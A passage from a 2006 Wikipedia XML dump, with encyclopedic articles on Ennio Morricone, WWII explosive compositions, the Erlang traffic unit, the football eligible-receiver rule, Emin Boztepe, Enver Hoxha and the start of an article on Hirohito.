*Miceli, Sergio. ''Morricone, la musica, il cinema''. Mucchi/Ricordi, 1994: ISBN 88-7592-398-1
*Poppi, R., M. Pecorari. ''Dizionario del cinema italiano. I film vol. 3. Dal 1960 al 1969''. Gremese, 1993: ISBN 88-7605-593-2 
*Poppi, R., M. Pecorari. ''Dizionario del cinema italiano. I film vol. 4. Dal 1970 al 1979* A/L''. Gremese, 1996: ISBN 88-7605-935-0 
*Poppi, R., M. Pecorari. ''Dizionario del cinema italiano. I film vol. 4. Dal 1970 al 1979** M/Z''. Gremese, 1996: ISBN 88-7605-969-5 
*Poppi, R., M. Pecorari. ''Dizionario del cinema italiano. I film vol. 5. Dal 1980 al 1989* A/L''. Gremese, 2000: ISBN 88-7742-423-0 
*Poppi, R., M. Pecorari. ''Dizionario del cinema italiano. I film vol. 5. Dal 1980 al 1989** M/Z''. Gremese, 2000: ISBN 88-7742-429-X 
*Internet Movie Database www.imdb.com

==External links==
*[http://www.soundtrackinfo.com/composer.asp?id=134&amp;s=y Ennio Morricone at the SoundtrackINFO project]
*{{imdb name|id=0001553|name={{PAGENAME}}}}
*[http://www.enniomorricone.it/ Official website]

[[Category:1928 births|Morricone, Ennio]]
[[Category:Natives of Rome|Morricone, Ennio]]
[[Category:Living people|Morricone, Ennio]]
[[Category:20th century classical composers|Morricone, Ennio]]
[[Category:Italian composers|Morricone, Ennio]]
[[Category:Italian film score composers|Morricone, Ennio]]

[[bg:Енио Мориконе]]
[[de:Ennio Morricone]]
[[es:Ennio Morricone]]
[[eo:Ennio MORRICONE]]
[[fr:Ennio Morricone]]
[[it:Ennio Morricone]]
[[he:אניו מוריקונה]]
[[hu:Ennio Morricone]]
[[nl:Ennio Morricone]]
[[ja:エンニオ・モリコーネ]]
[[pl:Ennio Morricone]]
[[ru:Морриконе, Эннио]]
[[sk:Ennio Morricone]]
[[fi:Ennio Morricone]]
[[sv:Ennio Morricone]]</text>
    </revision>
  </page>
  <page>
    <title>Explosives used during WW II</title>
    <id>10278</id>
    <revision>
      <id>35772741</id>
      <timestamp>2006-01-19T04:12:54Z</timestamp>
      <contributor>
        <username>Shaddack</username>
        <id>294325</id>
      </contributor>
      <comment>wikilinks</comment>
      <text xml:space="preserve">Almost all the common explosives were mixtures of [[Trinitrotoluene|TNT]], [[RDX]] or [[PETN]].

&lt;table border=&quot;1&quot; cellspacing=&quot;0&quot; cellpadding=&quot;2&quot;&gt;
&lt;tr&gt;
&lt;td&gt;'''Name'''&lt;/td&gt;
&lt;td&gt;'''Composition'''&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;[[Baronal]]&lt;/td&gt;
&lt;td&gt;[[Barium nitrate]], TNT and [[aluminium]]&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;[[Composition A]]&lt;/td&gt;
&lt;td&gt;88.3% RDX and 11.7% [[plasticizer]]&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;[[Composition B]]&lt;/td&gt;
&lt;td&gt;RDX, TNT and [[wax]]&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;[[H-6 (explosive)|H-6]]&lt;/td&gt;
&lt;td&gt;45% RDX, 30% TNT, 20% aluminium and 5% wax&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;[[Minol-2]]&lt;/td&gt;
&lt;td&gt;40% TNT, 40% [[ammonium nitrate]] and 20% aluminium&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;[[Octol]]&lt;/td&gt;
&lt;td&gt;75% [[HMX]] (cyclotetramethylene-tetranitramine) and 25% TNT&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;[[Pentolite]]s&lt;/td&gt;
&lt;td&gt;50% PETN and 50% TNT&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;[[Picratol]]&lt;/td&gt;
&lt;td&gt;52% [[Picric acid]] and 48% TNT&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;[[PIPE (explosive)|PIPE]]&lt;/td&gt;
&lt;td&gt;81% PETN and 19% [[petroleum|Oil]]&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;[[PTX-1]]&lt;/td&gt;
&lt;td&gt;30% RDX, 50% [[tetryl]] and 20% TNT&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;[[PTX-2]]&lt;/td&gt;
&lt;td&gt;41-44% RDX, 26-28% PETN and 28-33% TNT&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;[[PVA-4]]&lt;/td&gt;
&lt;td&gt;90% RDX, 8% [[polyvinyl alcohol|PVA]] and 2% [[dibutyl phthalate]]&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;[[RIPE (explosive)|RIPE]]&lt;/td&gt;
&lt;td&gt;85% RDX and 15% Oil&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;[[Tetrytol]]s&lt;/td&gt;
&lt;td&gt;70% [[Tetryl]] and 30% TNT&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;[[Torpex]]&lt;/td&gt;
&lt;td&gt;42% RDX, 40% TNT and 18% aluminium&lt;/td&gt;
&lt;/tr&gt;
&lt;/table&gt;

:''See also :'' [[Explosive material]],  [[Little Boy]], [[Fat Man]].

[[Category:Explosives]]</text>
    </revision>
  </page>
  <page>
    <title>Endlosung</title>
    <id>10279</id>
    <revision>
      <id>35314860</id>
      <timestamp>2006-01-15T21:33:06Z</timestamp>
      <contributor>
        <username>Sceptre</username>
        <id>274040</id>
      </contributor>
      <minor />
      <comment>dblredir</comment>
      <text xml:space="preserve">#REDIRECT [[Final Solution]]</text>
    </revision>
  </page>
  <page>
    <title>Euclids algorithm</title>
    <id>10280</id>
    <revision>
      <id>15908101</id>
      <timestamp>2002-02-25T15:51:15Z</timestamp>
      <contributor>
        <ip>Conversion script</ip>
      </contributor>
      <minor />
      <comment>Automated conversion</comment>
      <text xml:space="preserve">#REDIRECT [[Euclidean_algorithm]]
</text>
    </revision>
  </page>
  <page>
    <title>Emin Boztepe</title>
    <id>10281</id>
    <revision>
      <id>38116673</id>
      <timestamp>2006-02-04T07:40:53Z</timestamp>
      <contributor>
        <username>D6</username>
        <id>75561</id>
      </contributor>
      <minor />
      <comment>adding [[category:Living people]]</comment>
      <text xml:space="preserve">'''Emin Boztepe''' (born 1962) is a [[Turkish people|Turkish]] [[martial art]]ist .

Born in [[Eskisehir]], [[Turkey]], he started learning martial arts at the age of 14, as a result of racial insults he had to confront as a small child in [[Germany]], where he moved together with his family in 1966. After decades of training, he emerged as a master practitioner of [[Wing Tsun]]. He has formed his own ''Emin Boztepe Martial Arts System'' and trains military and police units in the [[United States|USA]].  Boztepe attacked [[William Cheung]] in Germany and the altercation was taped, one of the most controversial martial arts moments in recent history.

==External links==
* [http://www.ebmas.net Official webpage]

[[Category:1962 births|Boztepe, Emin]]
[[Category:Living people|Boztepe, Emin]]
[[Category:Turkish Wing Chun practitioners|Boztepe, Emin]]

{{martialartbio-stub}}

[[de:Emin Boztepe]]</text>
    </revision>
  </page>
  <page>
    <title>Erlang unit</title>
    <id>10283</id>
    <revision>
      <id>40535294</id>
      <timestamp>2006-02-21T06:52:38Z</timestamp>
      <contributor>
        <ip>69.3.233.176</ip>
      </contributor>
      <comment>/* Erlang B */</comment>
      <text xml:space="preserve">The [[dimensionless unit]] named the '''erlang''' is a statistical measure of [[telecommunication]]s [[traffic]] used in [[telephony]].  It is named after the [[Denmark|Danish]] telephone [[engineer]] [[Agner Krarup Erlang|A. K. Erlang]], the originator of [[traffic engineering (telecommunications)|traffic engineering]] and [[queueing theory]].

In the traffic calculation, one Erlang implies a single [[resource]] in continuous use (or two [[channel (communications)|channels]] at fifty percent use, and so on, ''[[pro rata]]''). For example, if a [[banking|bank]] has two tellers and they are both busy the whole time, that would represent two erlang of traffic.

The traffic measured in erlang is used to determine if a system is over- or under-provisioned (has too many or too few resources allocated).  

The traffic measured over many busy hours might be used for a [[T-carrier#T1|T1]] or [[E-carrier#E1|E1]] circuit group to determine how many [[human voice|voice]] lines are in use at the busiest hours. For example, if no more than 12 out of 24 channels are ever in use at any given time, the other 12 might be made available as [[data]] channels.

Traffic measured in erlang is used to calculate [[grade of service]] (GoS) or [[quality of service]] (QoS). 

There are a range of different Erlang formulae, including Erlang B, Extended Erlang B, Erlang C and a related Engset formula to calculate GoS.

==Erlang B==

Calculates blocking probability in loss system. If a request is not served immediately when it tries to use a resource, then the request is aborted. These systems are therefore not queued.  The formula  assumes the blocked traffic is immediately cleared.

===Erlang B formula=== 

:&lt;math&gt;Eb(0, t) = 1 \,&lt;/math&gt;

:&lt;math&gt;Eb(r,t) = { {t Eb(r-1,t)} \over {r+t Eb(r-1,t)} } \,&lt;/math&gt;

''where:''
* '''Eb''' is the probability of blocking
* '''r''' is the number of resources (eg.g. servers or circuits in a group).
* '''t''' is the amount of traffic offered in Erlang.

Erlang B formula works for loss systems thus it applies to telephony systems both for fixed and mobile networks due to their ''real time nature'' where they simply do not (and is not intended to) provide traffic buffer.

==Extended Erlang B==

This formula is essentially Erlang B, but assumes that a certain percentage of calls to the system will immediately represent themselves to the system after being blocked.  This formula accounts for this retry percentage.

==Erlang C==

This formula calculates the probability of queueing offered traffic.  This formula assumes that blocked calls stay in the system until they can be handled.  This formula can be applied to the design of call centre staffing arrangements, because when calls cannot be immediately answered, they enter a queue.  The formula is used to determine the number of agents or customer service representatives needed to staff a [[call centre]].

===Erlang C formula===

:&lt;math&gt;P(&gt;0) = {{\frac{A^N}{N!} \frac{N}{N - A}} \over \sum_{x=0}^{N-1} \frac{A^x}{x!} + \frac{A^N}{N!} \frac{N}{N - A}} \,&lt;/math&gt;

''where:''
* '''A''' is the total traffic units offered in Erlangs
* '''N''' is the number of servers in a full availability environment
* '''P(&gt;0)''' probability that delay is greater than 0
* '''P''' is the probability of loss - see [[Poisson distribution]]


Erlang C formula works for queueing systems thus it applies to ''packet data networks'' (such as internet, etc) due to their ''non real time nature''. Delay time generally acceptable for packet transmission allows the incorporation of data buffer along with routers. The buffer provides queuing for the data traffic.

==Engset formula==

The [[Engset calculation|Engset formula]] (''named after [[T O Engset|Tore Olaus Engset (1865-1943)]])'' is also related but deals with a small population of finite sources rather than the large population of infinite sources that Erlang assumes.

==See also==

* [[Agner Krarup Erlang|A. K. Erlang]]
* [[Call centre|Call center]]
* [[Engset calculation]]
* [[Erlang programming language]]
* [[Erlang distribution]]
* [[Poisson distribution]]
* [[Traffic Mix]]

==External links==
* [http://mmc.et.tudelft.nl/presan/node46.html#64 Erlang formulae] (in Dutch)
* [http://www.erlang.com www.erlang.com] for more information.
* [http://www.tarrani.net/mike/docs/TrafficEngineering.pdf Traffic Engineering Techniques in Telecommunications by Richard Parkinson] (PDF Document - Has terms and formulae)
* [http://www.angustel.ca/reports/Erlang%20B%20&amp;%20C.PDF An Introduction to Erlang B and Erlang C by Ian Angus] (PDF Document - Has terms and formulae plus biography)
* [http://www.diagnosticstrategies.com/papers/Traffic_Modeling.pdf Traffic Modeling and Resource Allocation in Call Centers by Diagnostic Strategies] (PDF Document)
* [http://members.iinet.net.au/~clark/models.htm#Engset Engset Model]

[[Category:Units of measure]]
[[Category:Telecommunications terms]]

[[nl:Erlang]]
[[de:Erlang (Einheit)]]
[[it:Erlang]]
[[pl:Erlang (jednostka)]]</text>
    </revision>
  </page>
  <page>
    <title>Eligible receiver</title>
    <id>10285</id>
    <revision>
      <id>28754943</id>
      <timestamp>2005-11-19T15:16:20Z</timestamp>
      <contributor>
        <username>CalJW</username>
        <id>233571</id>
      </contributor>
      <comment>recategorised</comment>
      <text xml:space="preserve">In [[American Football]] and [[Canadian Football]], not all players on offence are entitled to receive a forward pass.  Only an '''eligible pass receiver''' may legally catch a [[forward pass]], or be more than five yards over the [[line of scrimmage]] on a forward passing play.  If the pass is received by a non-eligible receiver, the penalty for ineligible receiver is assessed (the play is treated as an incomplete pass, unless the ball is downed behind the line of scrimmage - in either case a down is lost).  If a non-eligible receiver is more than five yards downfield on a completed forward pass, the penalty assessed is &quot;ineligible receiver downfield&quot; (a loss of yardage, but not loss of down).

In both forms of football, every player on the defensive team is considered eligible.  The offensive team must have at least seven players lined up on the line of scrimmage.  Of the players on the line of scrimmage, only the two players on the ends of the line of scrimmage are eligible receivers.  The four remaining players in the backfield (five in Canadian football), including the [[quarterback]], are also eligible receivers&amp;mdash;except in the [[National Football League]], where a quarterback who takes the snap directly from the center is '''''never''''' eligible. However, a quarterback who receives a longer snap from the center, such as in a [[shotgun formation]], is eligible even in the NFL.

With the assignment of numbers to positions, a player who is not wearing a number that corresponds to an eligible receiver is not eligible even if he lines up in an eligible position.  However, in the American game, a person who reports to the [[referee]] that he will be eligible on the play is allowed to line up and act as an eligible receiver.

If, for example, eight men line up on the line of scrimmage, the team loses an eligible receiver.  This can often happen when a [[Wide receiver#Specific terminology|flanker or slot receiver]], who is supposed to line up behind the line of scrimmage, instead lines up on the line of scrimmage between the [[offensive line]] and a [[Wide receiver#Specific terminology|split end]].  In most cases where a pass is caught by an ineligible receiver, it is usually because the quarterback was under pressure and threw it to an [[offensive lineman]] out of desperation.

In the American game, eligible receivers may only move parallel to the line of scrimmage, only one eligible receiver may be in motion at any given time before the snap of the ball, and if forward motion has occurred, the receiver must be still for a full second before the snap.  The receiver may be in motion laterally or away from the line of scrimmage at the snap.  A breach of this rule results in a penalty for [[illegal procedure]] (five yards).  However, in the Canadian game, eligible receivers may move in any direction before the snap, any number may be in motion at any one time, and there is no need to be motionless before the snap.

The rules on eligible receivers only apply to forward passes, even those behind the line of scrimmage.  However, any player may legally catch a backwards or lateral pass.

In the American game, once the play has started, players can become ineligible and eligible depending on how the play develops.  Any eligible receiver that goes out of bounds is no longer an eligible receiver and cannot receive a forward pass.  Also, if a pass is touched by any eligible receiver (tipped by a defensive lineman, slips through a receiver's hands, etc) every player on the field immediately becomes eligible.  These rules may also apply to the Canadian game as well, but are not verified.

==See also==
*[[Glossary of American football]]

[[Category:American football terminology]]
[[Category:Canadian football terminology]]</text>
    </revision>
  </page>
  <page>
    <title>Enver Hoxha</title>
    <id>10286</id>
    <revision>
      <id>41261604</id>
      <timestamp>2006-02-26T03:30:25Z</timestamp>
      <contributor>
        <username>Palpatine</username>
        <id>217561</id>
      </contributor>
      <comment>added cat atheists</comment>
      <text xml:space="preserve">{| border=1 cellpadding=4 cellspacing=0 class=&quot;toccolours&quot; style=&quot;float: right; width: 240px; clear: both; margin: 0.5em 0 1em 1em; border-style: solid; border:1px solid #7f7f7f; border-right-width: 2px; border-bottom-width: 2px; border-collapse: collapse; font-size: 95%;&quot;
|+&lt;big&gt;&lt;big&gt;'''Enver Hoxha'''&lt;/big&gt;&lt;/big&gt;
|-
| style=&quot;background:#efefef;&quot; align=&quot;center&quot; colspan=&quot;2&quot; | 
|-
| colspan=&quot;2&quot; style=&quot;padding-bottom:1em;text-align:center;&quot; |[[Image:Enver.jpg|Leader Enver Hoxha]]
|-
|'''Name of Office:'''
|[[General Secretary|First Secretary]] of the [[Albanian Party of Labour]] 
|-
|'''Term of Office:'''
|[[1944]]-[[1985]]
|-
|'''Predecessor:'''
|[[Victor Emmanuel III of Italy|King Victor Emmanuel III]]
|-
|'''Successor:'''
|[[Ramiz Alia]]
|-
|'''Date of Birth:'''
|October 16, [[1908]]
|-
|'''Place of Birth:'''
|[[Gjirokastër]]
|-
|'''Date of Death:'''
|April 11, [[1985]]
|-
|'''Place of Death:'''
|[[Tirana]]
|-
|'''Political party:'''
|[[Albanian Party of Labour]]
|}

'''Enver Hoxha''', ([[International Phonetic Alphabet|IPA]] {{IPA|/&amp;#603;nv&amp;#603;&amp;#638; h&amp;#596;&amp;#676;a/}}, [[October 16]], [[1908]]&amp;ndash;[[April 11]], [[1985]]) was the paramount leader of [[Albania]] from the end of [[World War II]] until his death in [[1985]], as the [[General Secretary|First Secretary]] of the [[Communism|Communist]] [[Albanian Party of Labour]]. He was also [[List of Prime Ministers of Albania|Prime Minister of Albania]] from [[1944]] to [[1954]] and the Minister of Foreign Affairs from [[1946]] to [[1953]]. Under Hoxha, whose rule was characterized by isolation from the rest of [[Europe]] and firm adherence to [[Stalinism]], Albania's government projected the image that it had emerged from semi-[[feudalism]] to become an [[industrialization|industrialized]] state.

==Biography==

Hoxha was born in [[Gjirokastër]], a city in southern Albania. He was the son of a Muslim cloth merchant who travelled widely across Europe during his childhood, and the major influence on Enver during these years was his uncle, Hysen Hoxha ({{IPA|/hy&amp;#603;n h&amp;#596;&amp;#676;a/}}). Hysen Hoxha was a militant who campaigned vigorously for the independence of Albania - which occurred when Enver was four years old - and opposed the repressive governments that prevailed after independence. Enver took to these ideas very strongly, especially after [[Zog of Albania|King Zog]] came to power in [[1928]].

In [[1930]], he went to study at the [[University of Montpellier]] in [[France]] on a state scholarship, but he soon dropped out. From [[1934]] to [[1936]] he was a secretary at the Albanian consulate in [[Brussels]]. He also studied [[law]] at the [[university]] there. He returned to Albania in [[1936]] and became a teacher in [[Korçë]].

Hoxha was dismissed from his teaching post following the [[1939]] [[Italy|Italian]] invasion of [[World War II]] for refusing to join the [[Albanian Fascist Party]]. He opened a [[tobacco]] shop in [[Tiranë]] where soon a small communist group started gathering. He was helped by [[Socialist Federal Republic of Yugoslavia|Yugoslav]] communists to found and become leader of the Albanian Communist Party (called Party of Labour afterwards) in November [[1941]], as well as the resistance movement (National Liberation Army), which took power in November [[1944]]. 

Hoxha declared himself an orthodox [[Marxism-Leninism|Marxist-Leninist]] and strongly admired [[Joseph Stalin]]. He adopted the model of the [[Soviet Union]] and severed relations with his former [[Socialist Federal Republic of Yugoslavia|Yugoslav]] communist allies following their ideological breach with Moscow in [[1948]]. He had defence minister [[Koçi Xoxe]] ({{IPA|/k&amp;#596;&amp;#679;i &amp;#675;&amp;#596;&amp;#675;&amp;#603;/}}) executed a year later for alleged pro-Yugoslav activities. 

[[Image:Albania bunkers.jpg|thumb|left|300px|[[Pill box]]es in [[Albania]] built during Hoxha's rule to defend against possible invasion.]]

Hoxha's regime confiscated farmland from wealthy landowners and consolidated it into collective farms ([[Cooperative|Cooperatives]]), imprisoning and murdering thousands in the process. The Hoxha regime propaganda took great pride in claiming that Albania had become completely self-sufficient in food crops during communist rule, as well as developing an Albanian industry and bringing electricity to most rural areas, all the while stamping out illiteracy and disease.

However, the opening of the Albanian borders to the outside world, following the collapse of the communist regime, revealed a completely different picture. Albania was not the industrialized, advanced nation of communist party propaganda, but in fact a country that was backward, not only by Western Capitalist standards, but also by those of other Eastern Bloc countries such as Bulgaria and Romania. The vaunted industry of Albania was, in fact, completely fictional, while the farming collectives used agricultural methods of the previous century. Telephone communication, long established in every household in Albania's neighbouring countries, was unknown to all but the highest ranking communist party officials. Worker wages and living standards were amazingly low by any conceivable standard for a European nation, a fact that led to a massive exodus of Albanian workers into neighbouring Greece and Italy, where they could sustain better standards of living as illegal immigrants, than they did in their country as nationals.

Despite a chronic history of grand-standing, it appeared that Hoxha's only concrete legacy was an unthinkable complex of over 600,000 one-man concrete [[bunker]]s across a country of 3 million inhabitants, to act as look-outs and gun emplacements, pointed against towns and villages, just as often as they were outside of them. The paranoid nature of Hoxha's character, who was beset by fears of American invasion just as much as internal revolution, was apparent in the design.

Hoxha had remained a firm Stalinist despite new Soviet leader [[Nikita Khrushchev]]'s repudiation of Stalin's excesses in [[1956]] at the [[Twentieth Party Congress]] of the [[Communist Party of the Soviet Union|Soviet Communist Party]], but this meant Albania's isolation from the rest of communist Eastern Europe. In [[1960]], Hoxha aligned Albania with the [[People's Republic of China]] in the [[Sino-Soviet split]], severing relations with [[Moscow]] the following year. In [[1968]], Albania withdrew from the [[Warsaw Pact]] in response to the Soviet-led invasion of [[Czechoslovakia]]. 

Hoxha's internal policies were true to the Stalinist paradigm he admired, and the personality cult organized around him held striking resemblance to that of the USSR leader he idealized. Internally, the &quot;Sigurimi&quot; Albanian secret police made sure to replicate the repressive methods of the KGB and Stasi. Its activities permeated Albanian society to the extent that every third citizen had either served time in labor camps or been interrogated by Sigurimi officers. To eliminate dissent, the government resorted systematically to purges, in which opponents were dismissed from their jobs, imprisoned in forced-labour camps, and often executed. Travel abroad was forbidden to all but those on official business, in order to sustain the myth of an advanced Albania. Any trace of individuality and creativity in cultural life was stifled, as the arts and belles lettres were allowed to exist only to the degree they served as mouthpieces for the government.

In [[1967]], following two decades of progressively harsher persecution of [[religion]] under his rule, Hoxha triumphantly declared his nation to be the first, and only officially [[atheism|atheist]] state in history. Partially inspired by China's [[Cultural Revolution]], he proceeded to confiscate mosques, churches, monasteries, and shrines. Many were immediately razed, others turned into machine shops, warehouses, stables, and [[film|movie]] theaters. Parents were forbidden to give their children religious names. Anyone caught with the [[Qur'an]], [[Bible]]s, [[icon]]s, or religious objects faced long prison sentences. 

According to a landmark [[Amnesty International]] report published in [[1984]] Albania's [[human rights]] record was dismal under Hoxha. The regime denied its citizens [[freedom of expression]], religion, movement, and association although the [[constitution]] of [[1976]] ostensibly guaranteed each of these rights. In fact, certain clauses in the constitution effectively circumscribed the exercise of political liberties that the regime interpreted as contrary to the established order. In addition, the regime denied the population access to information other than that disseminated by the government-controlled media. The [[Sigurimi]] routinely violated the privacy of persons, homes, and communications and made arbitrary arrests. The courts ensured that verdicts were rendered from the party's political perspective instead of affording due process to the accused, who were often sentenced without even the formality of a trial. 

Mao's death in [[1976]] and the defeat of the [[Gang of Four (China)|Gang of Four]] in China's subsequent inner-party struggle in [[1977]] and [[1978]] led to the [[Sino-Albanian split]] and Albania's retreat into political isolation, with Hoxha claiming the [[anti-revisionist]] mantle to criticize both [[Moscow]] and [[Beijing]]. 

In 1981, Hoxha ordered the execution of several party and government officials in a new purge. Prime Minister [[Mehmet Shehu]] was reported to have committed suicide following a further dispute within the Albanian leadership in December [[1981]], but is often believed to have been killed.

Later, Hoxha withdrew into semi-retirement and turned most state functions over to [[Ramiz Alia]]. Hoxha's death on [[April 11]], [[1985]], at the age of 76 led to some relaxation in internal and foreign policies under his successor Ramiz Alia, as communist party rule weakened throughout Eastern Europe, culminating in Albania's abandonment of one-party rule in [[1990]] and the reformed Socialist Party's defeat in the [[1992]] elections.

==See also==
*[[History of Albania]]

==References==
*Albania in Occupation and War, Owen S. Pearson, I B Tauris, 2005, ISBN 1845111044

==External links==
*[http://www.enverhoxha.info/indexeng.htm Enver Hoxha tungjatjeta]
*[http://www.marxists.org/reference/archive/hoxha/index.htm Enver Hoxha Reference Archive at marxists.org]
*[http://www.diacritica.com/degenerate/5/enver.html ''Comrade Loulou and the Fun Factory'' - A critical and satirical view of Hoxha]
*[http://www.albanian.com/main/history/hoxha.html Albanian.com article on Hoxha]

{{start box}}
{{succession box |
  before=[[Victor Emmanuel III of Italy|King Victor Emmanuel III]] (''de jure'') |
  title= [[Leader of Albania]] |
  years= 1944&amp;ndash;1985 |
  after= [[Ramiz Alia]]
}}
{{end box}}

[[Category:Prime Ministers of Albania|Hoxha, Enver]]
[[Category:Albanian communists|Hoxha, Enver]]
[[Category:Albanian politicians|Hoxha, Enver]]
[[Category:Communist rulers|Hoxha, Enver]]
[[Category:Atheists|Hoxha, Enver]]
[[Category:1908 births|Hoxha, Enver]]
[[Category:1985 deaths|Hoxha, Enver]]

[[br:Enver Hoxha]]
[[da:Enver Hoxha]]
[[de:Enver Hoxha]]
[[el:Ενβέρ Χότζα]]
[[et:Enver Hoxha]]
[[es:Enver Hoxha]]
[[fa:انور خوجه]]
[[fr:Enver Hoxha]]
[[it:Enver Hoxha]]
[[nl:Enver Hoxha]]
[[ja:エンヴェル・ホッジャ]]
[[no:Enver Hoxha]]
[[pl:Enver Hodża]]
[[pt:Enver Hoxha]]
[[ru:Ходжа, Энвер]]
[[sq:Enver Hoxha]]
[[fi:Enver Hoxha]]
[[sv:Enver Hoxha]]
[[tr:Enver Hoca]]
[[zh:恩維爾·霍查]]</text>
    </revision>
  </page>
  <page>
    <title>Hirohito</title>
    <id>10287</id>
    <revision>
      <id>41993456</id>
      <timestamp>2006-03-03T02:28:05Z</timestamp>
      <contributor>
        <username>Splash</username>
        <id>285145</id>
      </contributor>
      <comment>unsprot: vandalism was light, so let's try just a brief protection at first</comment>
      <text xml:space="preserve">[[image:Hiro2.jpg|thumb|200px|right|Emperor Shōwa (Hirohito)]]

'''Hirohito''' (裕仁) ([[April 29]], [[1901]] &amp;ndash; [[January 7]], [[1989]]) was the 124th [[Emperor of Japan]] according to the traditional order of succession, reigning from [[1926]] to [[1989]]. Since his death he has been known as '''Emperor Shōwa''' (昭和天皇, ''Shōwa Tennō'') in [[Japan]], although he is widely referred to as Hirohito, or Emperor Hirohito, outside of Japan. His reign was the longest of any historical Japanese emperor, and oversaw many significant changes to Japanese society.

== Early life ==
Born in the Aoyama Palace in [[Tokyo]], Hirohito was the first son of then [[Crown Prince]] [[Taisho Emperor|Yoshihito]] and then-[[Empress Teimei|Crown Princess Sadako]]. His childhood title was 迪宮　'Michi no miya' (Prince Michi). He became heir apparent upon the death of his grandfather, [[Emperor Meiji]], on [[July 30]], [[1912]]. His formal investiture as Crown Prince took place on [[November 2]], [[1916]].

He attended the boy's department of [[Gakushuin]] Peer's School from [[1908]] to [[1914]] and then a special institute for the Crown Prince (Tōgū-gogakumonsho) from [[1914]] to [[1921]]. On [[November 29]], [[1921]], he became [[regent]] of [[Japan]], in place of his ailing father. In [[1922]], Prince Regent Hirohito took a six month tour of the [[United Kingdom]] and five other [[Europe]]an countries ([[France]]; [[Italy]], [[Vatican City]]; [[the Netherlands]]; and [[Belgium]]) thus becoming the first Japanese crown prince to travel abroad.

He married his distant cousin Princess [[Empress Kojun|Nagako]], the eldest daughter of [[Kuniyoshi, Prince Kuni]], on [[January 26]], [[1924]]. There were seven children from the marriage:
#Princess Teru (''Teru no miya Shigeko''), b. December 9, 1925, d. July 23, 1961; m. October 10 1943 Prince Morihiro (b. May 6, 1916, d. February 1, 1969), the eldest son of Prince [[Naruhiko, Prince Higashikuni|Higashikuni Naruhiko]] and his wife, Princess Toshiko, the eighth daughter of Emperor Meiji; lost status as imperial family members, October 14, 1947.
#Princess Hisa (''Hisa no miya Sachiko''), b. September 10, 1927, d. March 8, 1928.
#Princess Taka (''Taka no miya Kazuko''), b. September 30, 1929, d. May 26, 1989; m. May 5, 1950 Mr. Toshimichi Takatsukasa (b. August 26, 1923, d. January 27, 1966), eldest son of Nobusuke Takatsukasa [peer].
#Princess Yori (''Yori no miya Atsuko''), b. March 7, 1931; m. October 10, 1952 Mr. Takamasa Ikeda (b. October 21, 1927), eldest son of former Marquis Nobumasa Ikeda.
#[[Crown Prince]] [[Akihito]] (now HM The Emperor), b. December 23, 1933; m. April 10, 1959 Miss [[Empress Michiko of Japan|Michiko Shoda]] (b. October 20, 1934), elder daughter of Mr. Hidesaburo Shoda, former president and chairman of Nisshin Flour Milling Company.
#[[Masahito, Prince Hitachi|Prince Hitachi]] (''Hitachi no miya Masahito''), b. November 28, 1935; m. October 30, 1964 Miss Hanako Tsugaru (b. July 19, 1940), fourth daughter of former Count Yoshitaka Tsugaru.
#Princess Suga (''Suga no miya Takako''), b. March 2, 1939; m. March 3, 1960 Mr. Hisanaga Shimazu, son of former Count Hisanori Shimazu.

==Accession==
[[Image:Time-magazine-cover-hirohito-1928.jpg|thumb|Hirohito, pictured on the cover the American newsmagazine ''Time'', on the occasion of his coronation.]]
On [[December 25]], [[1926]], upon the death of his father Yoshihito, he succeeded to the throne and a new era ''Shōwa'' (Enlightened Peace) was proclaimed. He was [[coronation|crowned]] emperor on [[November 10]], [[1928]] in [[Kyoto]].  The new emperor had the distinction of being the first Japanese monarch in several hundred years whose biological mother was his predecessor's official wife.

==Early reign==
The first part of Hirohito's reign as sovereign (between 1926 and [[1945]]) took place against a background of increasing military power within the government, through both legal and extralegal means. The [[Imperial Japanese Army]] and [[Imperial Japanese Navy]] had held [[veto]] power over the formation of cabinets since [[1900]], and between 1921 and [[1944]] there were no fewer than 64 incidents of right-wing political violence. 

One notable case was the assassination of moderate [[Prime Minister of Japan|Prime Minister]] [[Inukai Tsuyoshi]] in [[1932]], which marked the end of any real [[civilian control of the military]]. This was followed by an attempted [[February 26 Incident|military coup]] in February [[1936]], mounted by junior Army officers; it was occasioned by a loss of ground by the militarist faction in [[Diet of Japan|Diet]] elections. The coup resulted in the murder of a number of high government and Army officials, and was put down with Hirohito angrily assuming a major role in confronting them.

Still, from the [[1930s]] on, the military clique held almost all political power in Japan, and pursued policies that eventually led Japan to fight the [[second Sino-Japanese War]] and [[World War II]].

==World War II==
During [[World War II]], under Hirohito's leadership, Japan formed [[military alliance|alliance]]s with [[Nazi Germany]] and [[Fascist Italy]], forming the [[Axis Powers|Rome-Berlin-Tokyo Axis]]. In the immediate aftermath of the war, many believed that Emperor Shōwa was an evil mastermind behind the war, while others claimed that he was simply a powerless [[figurehead]].   

Many people in China, Taiwan, Korea and Southeast Asia see Hirohito as Asia's [[Hitler]] of World War II, and some feel he should have been tried for [[war crime]]s. Because of this, many Asians residing in countries that were subject to Japanese invasion retain a hostile attitude towards the [[Japanese imperial family]]. The central question is how much real control Hirohito had over the Japanese military during the two wars. The view promoted by both the Japanese Imperial Palace and the American occupation forces immediately after World War II had Hirohito behaving strictly according to protocol, remaining at a distance from the decision-making processes. On the other hand, [[Herbert P. Bix|Herbert Bix]] has recently produced evidence suggesting that the emperor worked through intermediaries to exercise a great deal of control over the military, and that he may even have been the prime mover of most of the events of the two wars.

